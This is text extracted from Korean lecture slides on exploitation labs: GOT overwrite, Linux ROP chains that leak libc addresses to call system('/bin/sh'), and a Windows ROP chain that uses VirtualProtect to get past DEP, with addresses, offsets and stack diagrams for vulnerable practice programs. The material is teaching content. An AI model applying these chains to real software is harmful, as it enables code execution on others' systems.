• 0x0b, 0x0a, 0x09 역시 제어문자에 해당되기 때문에 0x08을 이용했다
• -> 0x0804a008를 GOT로 사용하는 함수를 호출해야 한다면, GOT를 망가뜨리면 안 됨 (대충 쓰레기 값을 넣으면 안 됨)
• readelf로 읽어보면 0x0804a000이 GOT의 시작 주소임
• 즉, 0x0804a008는 GOT[2]에 해당
• GOT[2]에는 _dl_runtime_reslove 함수의 주소가 있다 : 아직 주소가 잡히지 않은 함수를 ret2plt로 호출하기 위해서는 이 영역을 보존해야 한다
• exit 함수는 호출한 적이 없기 때문에 이 함수를 호출할 필요가 있음
GOT OVERWRITE (LINUX) – 실습
• exploit
• 모든 것을 고려하여 exploit을 만들었음
• 디버거로 원래 어떤 값이 있었는지 찾아본
후 넣었음
• NULL로 인해 망가지지 않도록 함
• n를 이용하여 2번째 호출한 scanf 입력 값과
3번째 호출한 scanf의 입력 값을 분리
"A"*4 + arg_status
RETURN ORIENTED PROGRAMMING (ROP)
• 실습 – Linux – 1
• 실습 – Linux – 2
• 실습 – Linux – 3
• 실습 – Windows – 1
• 실습 – Windows – 2
RETURN ORIENTED PROGRAMMING (ROP)
• "해킹도 프로그래밍이다", "필요한 코드는 이미 프로그램 내에 있다" 라는 개념으로 접근
• 공격 또한 프로그래밍으로 하자
• 프로그램 내에 이미 있는 코드를 이용하여 프로그래밍 하자
• 종이에 이미 있는 글자들을 오려 편지를 쓰는 것과 유사
• RTL chain의 응용버전
• RTL chain에서 스택에 넣어둔 함수 주소와 &RET, 그리고 함수 인자를 이용하여 원하는 함수를 이어서 실행했다
• ROP에서는 가젯(Gadget)의 Chain을 만들어서 원하는 코드조각들을 실행한다
• 가젯 : RET로 끝나는 명령 조각들
• RET 앞의 몇 줄의 코드들을 연결하여 결론적으로 하나의 프로그램처럼 동작하도록 함
• 함수에 국한되지 않고, 원하는 코드를 뽑아내어 "Return 지향 프로그래밍"을 함
• 프로그램 위에서 프로그래밍
• 윈도우와 리눅스에서의 ROP 스타일이 약간 다름
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 1
• 취약 프로그램
• 기존의 printf와 scanf를 이용해도 가능하지만, 편리를 위해 write와 read 로 바꾸었음
• 컴파일 설정에서 –z execstack를 지워 DEP 활성화
• OS 설정에서 ASLR 설정
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 1
• RTL chain, RET2PLT, GOT overwrite 등을 응용
• read 취약점 이용하여 RTL chain 제작
• write에 RET2PLT -> 함수A의 GOT에 적힌 라이브러리 함수 A의 주소를 출력
• 얻은 함수A주소와 미리 구한 offset을 이용하여 system 함수와 exit함수 주소 구함
• read에 RET2PLT -> 함수B의 GOT에 system 함수의 주소를 저장
• read에 RET2PLT -> bss 영역에 "/bin/sh"문자열 저장
• read에 RET2PLT -> 함수C의 GOT에 exit 함수의 주소를 저장
• 함수B에 RET2PLT -> system 함수 실행!
• 함수C에 RET2PLT -> exit 함수 실행!
• GOT overwrite를 할 함수는 PLT, GOT가 잡혀 있는 함수이면 됨.
• 함수 A와 B로는 write, 함수 C로는 __libc_start_main을 이용하기로 함
• ASLR이 걸린 상태에서 system과 exit 함수 주소를 어떻게 구하나?
• 1) 익스플로잇 전에 system과 exit 함수와, 기준점이 될 함수 A와의 offset 차이를 구해 둔다.
• 기준점이 될 함수는 GOT가 잡힌 함수인 편이 좋음
• 2) 익스플로잇 하여, 데이터를 읽어오는 함수를 호출해 함수 A의 주소를 얻는다.
• 함수 A의 GOT에 적힌 주소를 읽음
• 3) 얻은 주소에 offset을 더하여 system함수 주소를 구한다.
• 단, 이 방법은 공격 대상이 이용하는 라이브러리 버전을 알아야 한다.
• offset 계산이 맞으려면 라이브러리 버전이 맞아야 함.
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 1
• 계획
• write에 RET2PLT -> write 의 GOT에 적힌 라이브러리 write 의 주소를 출력
• 얻은 write 주소와 미리 구한 offset을 이용하여 system 함수와 exit함수 주소 구함
• read에 RET2PLT -> write 의 GOT에 system 함수의 주소를 저장
• read에 RET2PLT -> bss 영역에 "/bin/sh"문자열 저장
• read에 RET2PLT -> __libc_start_main 의 GOT에 exit 함수의 주소를 저장
• write 에 RET2PLT -> system 함수 실행!
• __libc_start_main에 RET2PLT -> exit 함수 실행!
• 필요한 주소
• read 의 PLT 주소
• PPPR 패턴 주소
• write의 PLT 주소
• write의 GOT 주소
• bss 버퍼 주소
• PR 패턴 주소
• __libc_start_main 의 PLT 주소
• __libc_start_main 의 GOT 주소
...
EBP backup
write PLT 주소
&PPPR
1
write GOT 주소
4
read PLT 주소
&PPPR
0
write GOT 주소
4
read PLT 주소
&PPPR
0
&bss
8
read PLT 주소
&PPPR
0
main GOT 주소
4
write PLT 주소
&PR
&bss
main PLT 주소
쓰레기 값
1
...
EBP
EBP - C8
EBP + 4
.
.
.
.
EBP + 8
EBP + C
EBP + 10
EBP + 14
EBP + 18
EBP + 1C
EBP + 20
EBP + 24
EBP + 28
EBP + 2C
EBP + 30
EBP + 34
EBP + 38
EBP + 3C
EBP + 40
EBP + 44
EBP + 48
EBP + 4C
EBP + 50
EBP + 54
EBP + 58
EBP + 5C
EBP + 60
EBP + 64
EBP + 68
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 1
• 기준점으로 이용할 write와 system 함수 주소와의 offset을 구함
• 라이브러리 파일을 직접 뜯어도 되지만, 간단하게 디버거를 이용하여 구했다.
• write함수 주소 – 0x9ADD0 = system 함수 주소
• write함수 주소 – 0xA71A0 = exit 함수 주소
• read함수와 write함수는 12바이트의 인자를 받음
• POP/POP/POP/RET 패턴 필요
• objdump를 이용하여 주소 얻음 : 0x080484d9
• system 함수는 4바이트의 인자를 받음
• POP/RET 패턴 필요
• objdump를 이용하여 주소 얻음 : 0x080484db
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 1
• 필요한 주소
• read 의 PLT 주소 : 0x08048300
• PPPR 패턴 주소 : 0x080484d9
• write의 PLT 주소 : 0x08048320
• write의 GOT 주소 : 0x0804a014
• bss 버퍼 주소 : 0x0804a020
• PR 패턴 주소 : 0x080484db
• __libc_start_main 의 PLT 주소 : 0x08048310
• __libc_start_main 의 GOT 주소 : 0x0804a010
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 1
• Exploit
• 참고로 read 함수는 문자열을 읽는 함수가 아니라
인자로 준 바이트 수 만큼을 읽어 들이는 함수이다.
• 제어문자, NULL 문자 상관 무!
• 버퍼의 내용이 바이트 수보다 적을 경우 버퍼의
끝까지만 읽는다.
• 바이트 수를 맞추기 위해 쓰레기 값을 넣을 필
요는 없음.
• 숫자 인자를 더 간단하게 붙이고, 파이프를 간편
히 이용하기 위해 pwntool 라이브러리를 이용했음
• process 함수를 이용해 프로세스 실행
• send 함수를 이용해 STDIN으로 입력 값 넣음
• recv 함수를 이용해 STDOUT 출력 값 받음
• recv를 이용해 출력한 write 함수의 주소를 받고, 미리 구한 offset을 이용해 실제 주소를
계산하여 다시 입력 값으로 넣는 것에 주목한다.
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 2
• 다른 방법을 이용하여 offset 계산을 해 보자
• pop 특정 레지스터 가젯과 연산 가젯을 이용
• Ex)
• 오른쪽과 같은 가젯을 찾아 연결할 수 있다.
• pop eax와 pop ebx코드에 의해 eax와 ebx의 내용으로 들어갈 스택 위치에 적절한 숫자를 넣어
둔다
• 예를 들어 eax에는 조작할 GOT주소를, ebx에는 그 함수와 system 함수의 offset을 넣어 둠
• sub dword ptr [eax], ebx 가젯을 통해 GOT에 offset만큼을 계산한 값을 저장하게 됨
• RET2PLT로 함수를 호출하면 조작된 GOT를 이용해 함수를 호출하게 됨
• 좀 더 자유롭게 ROP하여 exploit 하는 예제를 만들어 보았음
pop eax
ret
pop ebx
ret
sub dword ptr [eax], ebx
ret
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 2
• 취약 프로그램
• 코드가 너무 짧아서 원하는 패턴을 찾기 어려워 임의로 추가했음
• 쉬운 이해를 위해 간단히 생각할 수 있는 패턴을 이용하기 위함
• 프로그램이 커지면 여러 코드 패턴이 나온다.
• 이런 비슷한 패턴을 찾아 이용할 수 있음
• 원리만 이해하면 다른 모양의 패턴을 적용할 수 있다
• 컴파일 설정에서 –z execstack를 지워 DEP 활성화
• OS 설정에서 ASLR 설정
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 2
• ROPEME (ROP Exploit Made Easy)
• ROPEME 툴을 이용하면 ROP 가젯을 쉽게 찾을 수 있다.
• ROP 가젯을 찾아주는 툴이다.
• ROPEME 명령어
• generate 파일경로 숫자
• 파일에서 가젯을 찾음 (ret으로 끝나는 명령어들)
• 다른 작업을 하기 전 먼저 generate를 해야 함
• 주어진 숫자 길이를 가젯 최대 길이로 함. 숫자를 안 붙일 경우
디폴트로 3으로 설정 됨
• ex) generate /home/dir/a.out 4
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 2
• ROPEME (ROP Exploit Made Easy)
• ROPEME 명령어
• search
• generate한 가젯에서 원하는 가젯을 찾음.
• 인자로 %와 ?, -를 줄 수 있음
• search 명령어 %
• 해당 명령어로 시작하는 가젯을 찾음
• ex) search mov eax %
• mov eax, X 로 시작하는 가젯을 찾음
• search 명령어 ?
• 명령어를 포함하는 모든 가젯을 찾음
• (사실 잘 모르겠음... 결과가 잘 안 나옴..)
• ex) search mov eax ?
• search 명령어 %또는? –명령어
• - 뒤의 명령어가 제외된 가젯을 찾음
• ex) search add % -leave
• leave 명령어가 포함되지 않은 가젯을 찾음
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 2
• ROPEME (ROP Exploit Made Easy)
• ROPEME를 이용하여 쓸만한 add 가젯과 pop 가젯을 찾았다.
• pop edi 코드에는 불필요한 pop ebp가 있음. 따라서 pop ebp로 가져갈 쓰레기값
을 넣어주어야 함
• 계획
• POP EBX로 EBX에 "write함수의 GOT주소-0x1234" 값을 넣는다.
• POP EDI로 EDI에 system함수 주소-write함수 주소 계산을 통해 나온 offset을 넣는
다.
• system 함수의 주소가 더 낮은데, add 연산으로 offset을 계산하기 때문
• 음수를 더해서 offset을 맞춰 주기 위함
• ADD [EBX + 0x1234], EDI 코드를 통해 write 함수의 GOT에 system 함수의 주소가
적히게 된다.
• 같은 방식으로, __libc_start_main 함수의 GOT에는 exit함수의 주소를 넣는다.
• 앞과는 다르게 __libc_start_main의 주소에 직접 계산하는 것이므로,
__libc_start_main함수와 exit 함수의 offset도 구해야 함
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 2
• 계획
• pop ebx 가젯 - write함수의 GOT주소-0x1234 값을 ebx에 넣음
• pop edi 가젯 - "system함수 – write함수" offset을edi에 넣음
• add [ebx + 0x1234], edi 가젯 – write의 GOT 값을 system함수의 주소로 변경
• pop ebx 가젯 - __libc_start_main함수의 GOT주소 – 0x1234 값을 ebx에 넣음
• pop edi 가젯 - "exit 함수 - __libc_start_main 함수" offset을 edi에 넣음
• add [ebx + 0x1234], edi 가젯 - __libc_start_main함수의 GOT 값을 exit함수의 주소로 변경
• RET2PLT로 read 호출 – bss영역에 /bin/sh 문자열 저장
• RET2PLT로 write 호출 – system 함수 호출
• RET2PLT로 __libc_start_main 호출 – exit 함수 호출
• 필요한 주소
• read 의 PLT 주소
• PPPR 패턴 주소
• write의 PLT 주소
• write의 GOT 주소
• bss 버퍼 주소
• PR 패턴 주소
• __libc_start_main 의 PLT 주소
• __libc_start_main 의 GOT 주소
• pop ebx 가젯 주소
• pop edi 가젯 주소
• add 가젯 주소
...
EBP backup
&pop ebx 가젯
write GOT 주소 – 0x1234
&pop edi 가젯
system 함수 offset
쓰레기 값
&add 가젯
&pop ebx 가젯
main GOT 주소 – 0x1234
&pop edi 가젯
exit 함수 offset
쓰레기 값
&add 가젯
read PLT 주소
&PPPR
0
&bss
8
write PLT 주소
&PR
&bss
main PLT 주소
쓰레기 값
1
...
EBP
EBP - C8
EBP + 4
.
.
.
.
EBP + 8
EBP + C
EBP + 10
EBP + 14
EBP + 18
EBP + 1C
EBP + 20
EBP + 24
EBP + 28
EBP + 2C
EBP + 30
EBP + 34
EBP + 38
EBP + 3C
EBP + 40
EBP + 44
EBP + 48
EBP + 4C
EBP + 50
EBP + 54
EBP + 58
EBP + 5C
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 2
• 필요한 주소 : 이전 것은 앞과 같음
• read 의 PLT 주소 : 0x08048300
• PPPR 패턴 주소 : 0x080484d9
• write의 PLT 주소 : 0x08048320
• write의 GOT 주소 : 0x0804a014
• bss 버퍼 주소 : 0x0804a020
• PR 패턴 주소 : 0x080484db
• __libc_start_main 의 PLT 주소 : 0x08048310
• __libc_start_main 의 GOT 주소 : 0x0804a010
• pop ebx 가젯 주소 : 0x080484F6
• pop edi 가젯 주소 : 0x080484DA
• add 가젯 주소 : 0x0804846F
• offset
• system – write = 0xFFF65230
• 기존 GOT 내용인 write의 주소가 system보다 크기 때문에, add를 이용한 offset계산을 위해서 offset은 system – write이 됨.
• __libc_start_main – exit = 0x00016490
• 기존 GOT 내용인 __libc_start_main의 주소가 exit 주소보다 작기 때문에, add를 이용한 offset계산을 위해서의 offset은 exit – __libc_start_main 이 됨.
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 2
• Exploit
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 3
• memprotect 함수를 이용하여 직접 메모리 권한을 변경하여 DEP을 우회하는 방법도 있다
• memprotect 함수
• 메모리의 권한을 변경해주는 함수
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1
• windows에서는 주로 ROP를 이용해 함수를 호출하여 DEP을 끄고, 셸
코드로 이동하는 방식을 이용
• Linux는 실행 파일은 ASLR을 적용해도 주소가 고정되어 있지만,
Windows는 실행파일의 주소도 변경 됨
• ASLR 우회가 더 어렵다
• ROP을 할 경우 ASLR이 적용되지 않은 모듈을 이용해야 함
• 실행파일에 ASLR이 적용되지 않았다면 IAT Hooking을 이용할 수도 있겠다..
• 오른쪽은 DEP 우회를 위해 사용할 수 있는 함수들
• OS에 따라 사용할 수 있는 함수들이 갈린다 (다음 페이지)
• Windows ROP에는 두 종류가 있다.
• RET based
• 스택의 return address를 조작하여 ROP 실행
• SEH based
• SEH overwrite를 이용하여 ROP 실행
• 일단 RET based ROP를 하고, 뒤이어 SEH based ROP를 하겠음
API 기능
VirtualProtect 특정 메모리 영역의 권한
을 변경
VirtualAlloc + memcpy 새로운 실행 가능한 영역
생성 후 셸 코드 복사
SetProcessDEPPolicy 실행중인 프로세스의
DEP 정책 변경
NtSetInformationProcess 실행중인 프로세스의
DEP 정책 변경
WriteProcessMemory 셸코드를 쓰기/실행 가
능한 영역에 복사하여 실
행
HeapCreate + HeapAlloc
+ memcpy
새로운 실행 가능한 힙
영역 생성 후 셸 코드 복
사
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1
• DEP 우회를 위해 사용할 수 있는 함수들은 OS 버전에 따라 사용 불가능할 수 있다.
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1
• API들은 ASLR이 걸려있는 상태에서 주소가 다르기 때문에, Universal
shellcode를 이용해야 한다.
• EXE에 ASLR이 걸려있지 않고, IAT가 잡혀 있다면 IAT를 이용할 수 있음
• 일단 IAT를 이용하는 경우를 연습해보자!
• 취약 프로그램
• IAT를 잡아 주기 위해 VirtualProtect함수를 넣었음
• 프로그램이 너무 작아 필요한 가젯을 찾기 힘들어서 임의로 넣었다.
• 편의를 위해 gets로 바꿨음
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1
• VirtualProtect 함수
• lpAddress : 권한을 변경할 메모리 시작 주소
• dwSize : 권한을 변경할 메모리 페이지의 바이트 크기
• flNewProtect : 변경할 설정 값
• pflOldProtect : 변경 전 상태를 저장할 포인터
• 참고 : 실제로는 정확히 dwSize만큼의 메모리만 권한을 변경해주는 게 아님
• 메모리 권한은 페이지 단위로 관리됨.
• 만약 시작 주소로부터 dwSize만큼의 범위가 두 페이지 사이에 걸쳐 있다면 두 페이지 모두 권한이 바뀜
• 32비트에서는 stdcall을 따른다
• 함수 인자는 전부 스택에 push
• 오른쪽 ->왼쪽 순서로 push
• 계획
• VirtualProtect(셸 코드 주소, 셸 코드 크기, 0x40, 쓰기 가능한 주소) 호출
• 0x40은 PAGE_EXECUTE_READWRITE로 정의된 값임. 부록 참고.
• 셸 코드 실행
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1
• 계획
• VirtualProtect(셸 코드 주소, 셸 코드 크기, 0x40, 쓰기 가능한 주소) 호출
• -> 인자로 이용할 값들을 스택에 push해 주기 위한 가젯이 필요
• 셸 코드 실행
• 인자 설정은 레지스터 설정 가젯과 pushad가젯을 이용할 것
• pushad는 EAX -> ECX -> EDX -> EBX -> ESP -> EBP -> ESI -> EDI 순서로 push된다.
• 설정하고자 하는 각 위치에 맞게 레지스터에 값을 설정해두고, pushad를 호출한다.
• EDI : VirtualProtect를 호출하기 위한 RET가젯
• ESI : VirtualProtect 함수 주소
• EBP : jmp esp 가젯
• ESP : 셸 코드 주소
• EBX : 권한을 변경할 크기
• EDX : 설정할 권한
• ECX : write 가능한 주소
• EAX : NOP
• 오른쪽은 pushad 직후 스택 상태
&RET
&VirtualProtect
&jmp ESP
셸 코드 주소
바이트 크기
0x40
쓰기 가능 주소
NOP sled (0x90909090)
...셸 코드...
...
EDI
ESI
EBP
ESP
EBX
EDX
ECX
EAX
ESP
<PUSHAD 후 스택>
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1
ESP
<exploit 넣은 스택>
push ebp
mov ebp, esp
sub esp, 0xC8
...코드...
mov esp, ebp
pop ebp
ret
[일반적인 함수] ...더미 데이터...
&JUM ESP
&POP EDI
&RET
&POP ESI
&VirtualProtect IAT
&mov ESI, [ESI]
&POP EBX
셸 코드 크기
&POP EDX
0x40
&POP ECX
&버퍼
&POP EAX
0x90909090
&PUSHAD
...셸 코드...
...
• EDI : VirtualProtect를 호출하기
위한 RET가젯
• ESI : VirtualProtect 함수 주소
• EBP : jmp esp 가젯
• ESP : 셸 코드 주소
• EBX : 권한을 변경할 크기
• EDX : 설정할 권한
• ECX : write 가능한 주소
• EAX : NOP
ESP
<pop 실행 후 스택>
...더미 데이터...
&JUM ESP
&POP EDI
&RET
&POP ESI
&VirtualProtect IAT
&mov ESI, [ESI]
&POP EBX
셸 코드 크기
&POP EDX
0x40
&POP ECX
&버퍼
&POP EAX
0x90909090
&PUSHAD
...셸 코드...
...
pop과 ret 실행
pop edi
ret
[POP EDI 가젯]
ebp = &jmp esp
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1
• EDI : VirtualProtect를 호출하기
위한 RET가젯
• ESI : VirtualProtect 함수 주소
• EBP : jmp esp 가젯
• ESP : 셸 코드 주소
• EBX : 권한을 변경할 크기
• EDX : 설정할 권한
• ECX : write 가능한 주소
• EAX : NOP
ESP
<pop 실행 후 스택>
...더미 데이터...
&JUM ESP
&POP EDI
&RET
&POP ESI
&VirtualProtect IAT
&mov ESI, [ESI]
&POP EBX
셸 코드 크기
&POP EDX
0x40
&POP ECX
&버퍼
&POP EAX
0x90909090
&PUSHAD
...셸 코드...
...
pop과 ret 실행
pop edi
ret
[POP EDI 가젯]
ebp = &jmp esp
edi = &RET
ESP
<pop edi 가젯 실행 후 스택>
...더미 데이터...
&JUM ESP
&POP EDI
&RET
&POP ESI
&VirtualProtect IAT
&mov ESI, [ESI]
&POP EBX
셸 코드 크기
&POP EDX
0x40
&POP ECX
&버퍼
&POP EAX
0x90909090
&PUSHAD
...셸 코드...
...
pop esi
ret
[POP ESI 가젯]
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1
• EDI : VirtualProtect를 호출하기
위한 RET가젯
• ESI : VirtualProtect 함수 주소
• EBP : jmp esp 가젯
• ESP : 셸 코드 주소
• EBX : 권한을 변경할 크기
• EDX : 설정할 권한
• ECX : write 가능한 주소
• EAX : NOP
pop과 ret 실행
ebp = &jmp esp
edi = &RET
esi = &VirtualProtect IAT
ESP
<pop edi 가젯 실행 후 스택>
...더미 데이터...
&JUM ESP
&POP EDI
&RET
&POP ESI
&VirtualProtect IAT
&mov ESI, [ESI]
&POP EBX
셸 코드 크기
&POP EDX
0x40
&POP ECX
&버퍼
&POP EAX
0x90909090
&PUSHAD
...셸 코드...
...
mov esi, [esi]
ret
[MOV ESI, [ESI] 가젯]
pop esi
ret
[POP ESI 가젯]
ESP
<pop esi 가젯 실행 후 스택>
...더미 데이터...
&JUM ESP
&POP EDI
&RET
&POP ESI
&VirtualProtect IAT
&mov ESI, [ESI]
&POP EBX
셸 코드 크기
&POP EDX
0x40
&POP ECX
&버퍼
&POP EAX
0x90909090
&PUSHAD
...셸 코드...
...
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1
• EDI : VirtualProtect를 호출하기
위한 RET가젯
• ESI : VirtualProtect 함수 주소
• EBP : jmp esp 가젯
• ESP : 셸 코드 주소
• EBX : 권한을 변경할 크기
• EDX : 설정할 권한
• ECX : write 가능한 주소
• EAX : NOP
mov esi, [esi]와
ret 실행
ebp = &jmp esp
edi = &RET
esi = &VirtualProtect
pop ebx
ret
[POP EBX 가젯]
ESP
<pop esi 가젯 실행 후 스택>
...더미 데이터...
&JUM ESP
&POP EDI
&RET
&POP ESI
&VirtualProtect IAT
&mov ESI, [ESI]
&POP EBX
셸 코드 크기
&POP EDX
0x40
&POP ECX
&버퍼
&POP EAX
0x90909090
&PUSHAD
...셸 코드...
...
ESP
< mov esi, [esi] 가젯 실행 후 스택>
...더미 데이터...
&JUM ESP
&POP EDI
&RET
&POP ESI
&VirtualProtect IAT
&mov ESI, [ESI]
&POP EBX
셸 코드 크기
&POP EDX
0x40
&POP ECX
&버퍼
&POP EAX
0x90909090
&PUSHAD
...셸 코드...
...
mov esi, [esi]
ret
[MOV ESI, [ESI] 가젯]
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1
• EDI : VirtualProtect를 호출하기
위한 RET가젯
• ESI : VirtualProtect 함수 주소
• EBP : jmp esp 가젯
• ESP : 셸 코드 주소
• EBX : 권한을 변경할 크기
• EDX : 설정할 권한
• ECX : write 가능한 주소
• EAX : NOP
pop과 ret 실행
ebp = &jmp esp
edi = &RET
esi = &VirtualProtect
ebx = 셸 코드 크기
pop edx
ret
[POP EDX 가젯]
ESP
< mov esi, [esi] 가젯 실행 후 스택>
...더미 데이터...
&JUM ESP
&POP EDI
&RET
&POP ESI
&VirtualProtect IAT
&mov ESI, [ESI]
&POP EBX
셸 코드 크기
&POP EDX
0x40
&POP ECX
&버퍼
&POP EAX
0x90909090
&PUSHAD
...셸 코드...
...
ESP
< pop ebx 가젯 실행 후 스택>
...더미 데이터...
&JUM ESP
&POP EDI
&RET
&POP ESI
&VirtualProtect IAT
&mov ESI, [ESI]
&POP EBX
셸 코드 크기
&POP EDX
0x40
&POP ECX
&버퍼
&POP EAX
0x90909090
&PUSHAD
...셸 코드...
...
pop ebx
ret
[POP EBX 가젯]
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1
• EDI : VirtualProtect를 호출하기
위한 RET가젯
• ESI : VirtualProtect 함수 주소
• EBP : jmp esp 가젯
• ESP : 셸 코드 주소
• EBX : 권한을 변경할 크기
• EDX : 설정할 권한
• ECX : write 가능한 주소
• EAX : NOP
pop과 ret 실행
ebp = &jmp esp
edi = &RET
esi = &VirtualProtect
ebx = 셸 코드 크기
edx = 0x40 (권한)
pop ecx
ret
[POP ECX 가젯]
ESP
< pop ebx 가젯 실행 후 스택>
...더미 데이터...
&JUM ESP
&POP EDI
&RET
&POP ESI
&VirtualProtect IAT
&mov ESI, [ESI]
&POP EBX
셸 코드 크기
&POP EDX
0x40
&POP ECX
&버퍼
&POP EAX
0x90909090
&PUSHAD
...셸 코드...
...
pop edx
ret
[POP EDX 가젯]
ESP
< pop edx 가젯 실행 후 스택>
...더미 데이터...
&JUM ESP
&POP EDI
&RET
&POP ESI
&VirtualProtect IAT
&mov ESI, [ESI]
&POP EBX
셸 코드 크기
&POP EDX
0x40
&POP ECX
&버퍼
&POP EAX
0x90909090
&PUSHAD
...셸 코드...
...
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1
• EDI : VirtualProtect를 호출하기
위한 RET가젯
• ESI : VirtualProtect 함수 주소
• EBP : jmp esp 가젯
• ESP : 셸 코드 주소
• EBX : 권한을 변경할 크기
• EDX : 설정할 권한
• ECX : write 가능한 주소
• EAX : NOP
pop과 ret 실행
ebp = &jmp esp
edi = &RET
esi = &VirtualProtect
ebx = 셸 코드 크기
edx = 0x40 (권한)
ecx = &버퍼
pop eax
ret
[POP EAX 가젯]
ESP
< pop edx 가젯 실행 후 스택>
...더미 데이터...
&JUM ESP
&POP EDI
&RET
&POP ESI
&VirtualProtect IAT
&mov ESI, [ESI]
&POP EBX
셸 코드 크기
&POP EDX
0x40
&POP ECX
&버퍼
&POP EAX
0x90909090
&PUSHAD
...셸 코드...
...
ESP
< pop ecx 가젯 실행 후 스택>
...더미 데이터...
&JUM ESP
&POP EDI
&RET
&POP ESI
&VirtualProtect IAT
&mov ESI, [ESI]
&POP EBX
셸 코드 크기
&POP EDX
0x40
&POP ECX
&버퍼
&POP EAX
0x90909090
&PUSHAD
...셸 코드...
...
pop ecx
ret
[POP ECX 가젯]
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1
• EDI : VirtualProtect를 호출하기
위한 RET가젯
• ESI : VirtualProtect 함수 주소
• EBP : jmp esp 가젯
• ESP : 셸 코드 주소
• EBX : 권한을 변경할 크기
• EDX : 설정할 권한
• ECX : write 가능한 주소
• EAX : NOP
pop과 ret 실행
ebp = &jmp esp
edi = &RET
esi = &VirtualProtect
ebx = 셸 코드 크기
edx = 0x40 (권한)
ecx = &버퍼
eax = NOP sled
pushad
ret
[PUSHAD 가젯]
ESP
< pop ecx 가젯 실행 후 스택>
...더미 데이터...
&JUM ESP
&POP EDI
&RET
&POP ESI
&VirtualProtect IAT
&mov ESI, [ESI]
&POP EBX
셸 코드 크기
&POP EDX
0x40
&POP ECX
&버퍼
&POP EAX
0x90909090
&PUSHAD
...셸 코드...
...
pop eax
ret
[POP EAX 가젯]
ESP
< pop eax 가젯 실행 후 스택>
...더미 데이터...
&JUM ESP
&POP EDI
&RET
&POP ESI
&VirtualProtect IAT
&mov ESI, [ESI]
&POP EBX
셸 코드 크기
&POP EDX
0x40
&POP ECX
&버퍼
&POP EAX
0x90909090
&PUSHAD
...셸 코드...
...
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1
• EDI : VirtualProtect를 호출하기
위한 RET가젯
• ESI : VirtualProtect 함수 주소
• EBP : jmp esp 가젯
• ESP : 셸 코드 주소
• EBX : 권한을 변경할 크기
• EDX : 설정할 권한
• ECX : write 가능한 주소
• EAX : NOP
pushad와 ret 실행
ebp = &jmp esp
edi = &RET
esi = &VirtualProtect
ebx = 셸 코드 크기
edx = 0x40 (권한)
ecx = &버퍼
eax = NOP sled
ret
[RET 가젯]
ESP
< pushad 가젯 실행 후 스택>
...더미 데이터...
&JUM ESP
&POP EDI
&RET
&POP ESI
&VirtualProtect IAT
&mov ESI, [ESI]
&POP EBX
EDI (&RET)
ESI (VirtualProtect 주소)
EBP (&JMP ESP)
ESP (셸 코드 주소)
EBX (셸 코드 크기)
EDX (0x40)
ECX (&buf)
EAX (NOP sled)
...셸 코드...
...
ESP
< pop eax 가젯 실행 후 스택>
...더미 데이터...
&JUM ESP
&POP EDI
&RET
&POP ESI
&VirtualProtect IAT
&mov ESI, [ESI]
&POP EBX
셸 코드 크기
&POP EDX
0x40
&POP ECX
&버퍼
&POP EAX
0x90909090
&PUSHAD
...셸 코드...
...
pushpad
ret
[PUSHAD 가젯]
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1
ret 실행
코드들..
...
ret 10
[VirtualProtect 호출]
ESP
< ret 가젯 실행 후 스택>
...더미 데이터...
&JUM ESP
&POP EDI
&RET
&POP ESI
&VirtualProtect IAT
&mov ESI, [ESI]
&POP EBX
EDI (&RET)
ESI (VirtualProtect 주소)
EBP (&JMP ESP)
ESP (셸 코드 주소)
EBX (셸 코드 크기)
EDX (0x40)
ECX (&buf)
EAX (NOP sled)
...셸 코드...
...
ESP
< pushad 가젯 실행 후 스택>
...더미 데이터...
&JUM ESP
&POP EDI
&RET
&POP ESI
&VirtualProtect IAT
&mov ESI, [ESI]
&POP EBX
EDI (&RET)
ESI (VirtualProtect 주소)
EBP (&JMP ESP)
ESP (셸 코드 주소)
EBX (셸 코드 크기)
EDX (0x40)
ECX (&buf)
EAX (NOP sled)
...셸 코드...
...
ret
[RET 가젯]
RETURN ORIENTED PROGRAMMING (ROP) – 실습 – WINDOWS – 1
VirtualProtect 함수,
ret 10 실행
jmp esp
[JMP ESP 가젯]
ESP
< ret10 실행 후 스택>
...더미 데이터...
&JUM ESP
&POP EDI
&RET
&POP ESI
&VirtualProtect IAT
&mov ESI, [ESI]
&POP EBX
EDI (&RET)
ESI (VirtualProtect 주소)
EBP (&JMP ESP)
ESP (셸 코드 주소)
EBX (셸 코드 크기)
EDX (0x40)
ECX (&buf)
EAX (NOP sled)
...셸 코드...
...
ESP
< ret 가젯 실행 후 스택>
...더미 데이터...
&JUM ESP
&POP EDI
&RET
&POP ESI
&VirtualProtect IAT
&mov ESI, [ESI]
